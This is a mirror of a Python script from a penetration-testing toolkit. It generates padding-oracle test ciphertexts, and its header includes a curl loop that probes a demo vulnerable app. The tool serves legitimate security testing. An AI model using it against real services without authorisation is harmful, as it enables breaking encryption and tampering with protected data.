mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2024-11-22 10:31:38 +01:00
312 lines
12 KiB
Python
312 lines
12 KiB
Python
#!/usr/bin/python
|
|
#
|
|
# Padding Oracle test-cases generator.
|
|
# Mariusz B. / mgeeky, 2016
|
|
# v0.2
|
|
#
|
|
# Simple utility that aids the penetration tester when manually testing Padding Oracle condition
|
|
# of a target cryptosystem, by generating set of test cases to fed the cryptosystem with.
|
|
#
|
|
# Script that takes from input an encoded cipher text, tries to detect applied encoding, decodes the cipher
|
|
# and then generates all the possible, reasonable cipher text transformations to be used while manually
|
|
# testing for Padding Oracle condition of cryptosystem. The output of this script will be hundreds of
|
|
# encoded values to be used in manual application testing approaches, like sending requests.
|
|
#
|
|
# One of possible scenarios and ways to use the below script could be the following:
|
|
# - clone the following repo: https://github.com/GDSSecurity/PaddingOracleDemos
|
|
# - launch pador.py which is an example of application vulnerable to Padding Oracle
|
|
# - then by using `curl http://localhost:5000/echo?cipher=<ciphertext>` we are going to manually
|
|
# test for Padding Oracle outcomes. The case of returning something not being a 'decryption error'
|
|
# result would be considered padding-hit, therefore vulnerability proof.
|
|
#
|
|
# This script could be then launched to generate every possible test case of second to the last block
|
|
# being filled with specially tailored values (like vector of zeros with last byte ranging from 0-255)
|
|
# and then used in some kind of local http proxy (burp/zap) or http client like (curl/wget).
|
|
#
|
|
# Such example usage look like:
|
|
#
|
|
#---------------------------------------------
|
|
# bash$ x=0 ; for i in $(./padding-oracle-tests.py 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6); \
|
|
# do curl -s http://host:5000/echo?cipher=$i | grep -qv 'error' && printf "Byte: 0x%02x not generated decryption error.\n" $x ; x=$((x+1)); done
|
|
#
|
|
# [?] Data resembles block cipher with block size = 16
|
|
# [?] Data resembles block cipher with block size = 8
|
|
#
|
|
# Generated in total: 512 test cases for 8, 16 block sizes.
|
|
# Byte: 0x87 not generated decryption error.
|
|
#---------------------------------------------
|
|
#
|
|
# There the script took at it's first parameter the hex encoded parameter, used it to feed test cases generator and resulted with 512
|
|
# test cases varying with the last byte of the second to the last block:
|
|
# (...)
|
|
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fad2382fb0a54f3a2954bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fbd2382fb0a54f3a2954bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fcd2382fb0a54f3a2954bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fdd2382fb0a54f3a2954bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fed2382fb0a54f3a2954bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000ffd2382fb0a54f3a2954bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000054bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000154bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000254bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000354bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000454bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000554bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000654bfebe0a04dd4d6
|
|
# (...)
|
|
#
|
|
# At the end, those values were used in for loop to launch for every entry a curl client with request to the Padding Oracle.
|
|
# The 0x87 byte that was catched was the only one that has not generated a 'decryption error' outcome from the request, resulting
|
|
# in improperly decrypted plain-text from attacker-controled cipher text.
|
|
#
|
|
|
|
import re
|
|
import sys
|
|
import urllib
|
|
import binascii as ba
|
|
import base64
|
|
|
|
# Flip this variable when your input data is not being properly processed.
|
|
DEBUG = False
|
|
|
|
|
|
def info(txt):
|
|
sys.stderr.write(txt + '\n')
|
|
|
|
def warning(txt):
|
|
info('[?] ' + txt)
|
|
|
|
def error(txt):
|
|
info('[!] ' + txt)
|
|
|
|
def dbg(txt):
|
|
if DEBUG:
|
|
info('[dbg] '+txt)
|
|
|
|
# or maybe:
|
|
# class PaddingOracleTestCasesWithVaryingSecondToTheLastBlockGenerator
|
|
class PaddingOracleTestCasesGenerator:
|
|
NONE = 0
|
|
B64URL = 1
|
|
B64STD = 2
|
|
HEXENC = 3
|
|
|
|
data = ''
|
|
offset = 0
|
|
encoding = NONE
|
|
blocksizes = set()
|
|
urlencoded = False
|
|
|
|
def __init__(self, data, blocksize=0):
|
|
self.data = data
|
|
len_before = len(data)
|
|
self.encoding = self.detect_encoding()
|
|
self.data = self.decode(data)
|
|
|
|
if blocksize != 0:
|
|
assert blocksize % 8 == 0, "Blocksize must be divisible by 8"
|
|
self.blocksizes = [blocksize,]
|
|
else:
|
|
self.detect_blocksize()
|
|
|
|
self.data_evaluation(len_before)
|
|
|
|
def data_evaluation(self, len_before):
|
|
def entropy(txt):
|
|
import math
|
|
from collections import Counter
|
|
p, lns = Counter(txt), float(len(txt))
|
|
return -sum( count / lns * math.log(count/lns, 2) for count in p.values())
|
|
|
|
e = entropy(self.data)
|
|
warning('Data size before and after decoding: %d -> %d' % (len_before, len(self.data)))
|
|
warning('Data entropy: %.6f' % entropy(self.data))
|
|
|
|
if e < 5.0:
|
|
info('\tData does not look random, not likely to deal with block cipher.')
|
|
elif e >= 5.0 and e < 7.0:
|
|
info('\tData only resembles random stream, hardly to be dealing with block cipher.')
|
|
else:
|
|
info('\tHigh likelihood of dealing with block cipher. That\'s good.')
|
|
|
|
if self.offset != 0:
|
|
warning('Data structure not resembles block cipher.')
|
|
warning('Proceeding with sliding window of %d bytes in the beginning and at the end\n' % self.offset)
|
|
else:
|
|
warning('Data resembles block cipher with block size = %d' % max(self.blocksizes))
|
|
|
|
def detect_encoding(self):
|
|
b64url = '^[a-zA-Z0-9_\-]+={0,2}$'
|
|
b64std = '^[a-zA-Z0-9\+\/]+={0,2}$'
|
|
hexenc1 = '^[0-9a-f]+$'
|
|
hexenc2 = '^[0-9A-F]+$'
|
|
|
|
data = self.data
|
|
if re.search('%[0-9a-f]{2}', self.data, re.I) != None:
|
|
dbg('Sample is url-encoded.')
|
|
data = urllib.unquote_plus(data)
|
|
self.urlencoded = True
|
|
|
|
if (re.match(hexenc1, data) or re.match(hexenc2, data)) and len(data) % 2 == 0:
|
|
dbg('Hex encoding detected.')
|
|
return self.HEXENC
|
|
|
|
if re.match(b64url, data):
|
|
dbg('Base64url encoding detected.')
|
|
return self.B64URL
|
|
|
|
if re.match(b64std, data):
|
|
dbg('Standard Base64 encoding detected.')
|
|
return self.B64STD
|
|
|
|
error('Warning: Could not detect data encoding. Going with plain data.')
|
|
return self.NONE
|
|
|
|
def detect_blocksize(self):
|
|
sizes = [32, 16, 8] # Correspondigly: 256, 128, 64 bits
|
|
|
|
self.offset = len(self.data) % 8
|
|
datalen = len(self.data) - self.offset
|
|
|
|
for s in sizes:
|
|
if datalen % s == 0 and datalen / s >= 2:
|
|
self.blocksizes.add(s)
|
|
|
|
if not len(self.blocksizes):
|
|
if datalen >= 32:
|
|
self.blocksizes.add(16)
|
|
if datalen >= 16:
|
|
self.blocksizes.add(8)
|
|
|
|
if not len(self.blocksizes):
|
|
raise Exception("Could not detect data's blocksize automatically.")
|
|
|
|
def encode(self, data):
|
|
def _enc(data):
|
|
if self.encoding == PaddingOracleTestCasesGenerator.B64URL:
|
|
return base64.urlsafe_b64encode(data)
|
|
elif self.encoding == PaddingOracleTestCasesGenerator.B64STD:
|
|
return base64.b64encode(data)
|
|
elif self.encoding == PaddingOracleTestCasesGenerator.HEXENC:
|
|
return ba.hexlify(data).strip()
|
|
else:
|
|
return data
|
|
|
|
enc = _enc(data)
|
|
if self.urlencoded:
|
|
return urllib.quote_plus(enc)
|
|
else:
|
|
return enc
|
|
|
|
def decode(self, data):
|
|
def _decode(self, data):
|
|
if self.urlencoded:
|
|
data = urllib.unquote_plus(data)
|
|
|
|
if self.encoding == PaddingOracleTestCasesGenerator.B64URL:
|
|
return base64.urlsafe_b64decode(data)
|
|
elif self.encoding == PaddingOracleTestCasesGenerator.B64STD:
|
|
return base64.b64decode(data)
|
|
elif self.encoding == PaddingOracleTestCasesGenerator.HEXENC:
|
|
return ba.unhexlify(data).strip()
|
|
else:
|
|
return data
|
|
|
|
dbg("Hex dump of data before decoding:\n" + hex_dump(data))
|
|
decoded = _decode(self, data)
|
|
dbg("Hex dump of data after decoding:\n" + hex_dump(decoded))
|
|
return decoded
|
|
|
|
def construct_second_to_last_block(self, data, blocksize, value, offset=0):
|
|
|
|
assert len(data) >= 2 * blocksize, "Too short data to operate on it with given blocksize."
|
|
assert abs(offset) < blocksize, "Incorrect offset was specified. Out-of-bounds access."
|
|
|
|
# Null vector with the last byte set to iterated value.
|
|
block = '0' * (2*(blocksize-1)) + '%02x' % value
|
|
|
|
if offset >= 0:
|
|
# datadata<rest>
|
|
return data[:-2*blocksize-offset] + ba.unhexlify(block) + data[-blocksize-offset:]
|
|
else:
|
|
# <rest>datadata
|
|
return data[-offset:-2*blocksize] + ba.unhexlify(block) + data[-blocksize:]
|
|
|
|
def generate_test_cases(self):
|
|
cases = []
|
|
data = self.data
|
|
for size in self.blocksizes:
|
|
dbg("Now generating test cases of %d blocksize." % size)
|
|
for byte in range(256):
|
|
|
|
# No offset
|
|
cases.append(self.encode(self.construct_second_to_last_block(data, size, byte)))
|
|
|
|
if self.offset != 0:
|
|
cases.append(self.encode(self.construct_second_to_last_block(data, size, byte, self.offset)))
|
|
cases.append(self.encode(self.construct_second_to_last_block(data, size, byte, -self.offset)))
|
|
|
|
return cases
|
|
|
|
def hex_dump(data):
|
|
s = ''
|
|
n = 0
|
|
lines = []
|
|
|
|
if len(data) == 0:
|
|
return '<empty>'
|
|
|
|
for i in range(0, len(data), 16):
|
|
line = ''
|
|
line += '%04x | ' % (i)
|
|
n += 16
|
|
|
|
for j in range(n-16, n):
|
|
if j >= len(data): break
|
|
line += '%02x ' % ord(data[j])
|
|
|
|
line += ' ' * (3 * 16 + 7 - len(line)) + ' | '
|
|
|
|
for j in range(n-16, n):
|
|
if j >= len(data): break
|
|
c = data[j] if not (ord(data[j]) < 0x20 or ord(data[j]) > 0x7e) else '.'
|
|
line += '%c' % c
|
|
|
|
lines.append(line)
|
|
|
|
return '\n'.join(lines)
|
|
|
|
def main():
|
|
info('\n\tPadding Oracle test-cases generator')
|
|
info('\tMariusz B. / mgeeky, 2016\n')
|
|
|
|
if len(sys.argv) < 2:
|
|
warning('usage: padding-oracle-tests.py <data> [blocksize]')
|
|
sys.exit(0)
|
|
|
|
data = sys.argv[1].strip()
|
|
bsize = int(sys.argv[2]) if len(sys.argv) > 2 else 0
|
|
|
|
try:
|
|
tester = PaddingOracleTestCasesGenerator(data, bsize)
|
|
except Exception as e:
|
|
error(str(e))
|
|
return False
|
|
|
|
s = hex_dump(tester.data)
|
|
info('Decoded data:\n%s\n' % s)
|
|
|
|
cases = tester.generate_test_cases()
|
|
|
|
for case in cases:
|
|
if DEBUG:
|
|
dbg('...' + case[-48:])
|
|
else:
|
|
print case
|
|
|
|
info('\n[+] Generated in total: %d test cases for %s block sizes.' \
|
|
% (len(cases), ', '.join([str(e) for e in sorted(tester.blocksizes)])))
|
|
|
|
|
|
if __name__ == '__main__':
|
|
main()
|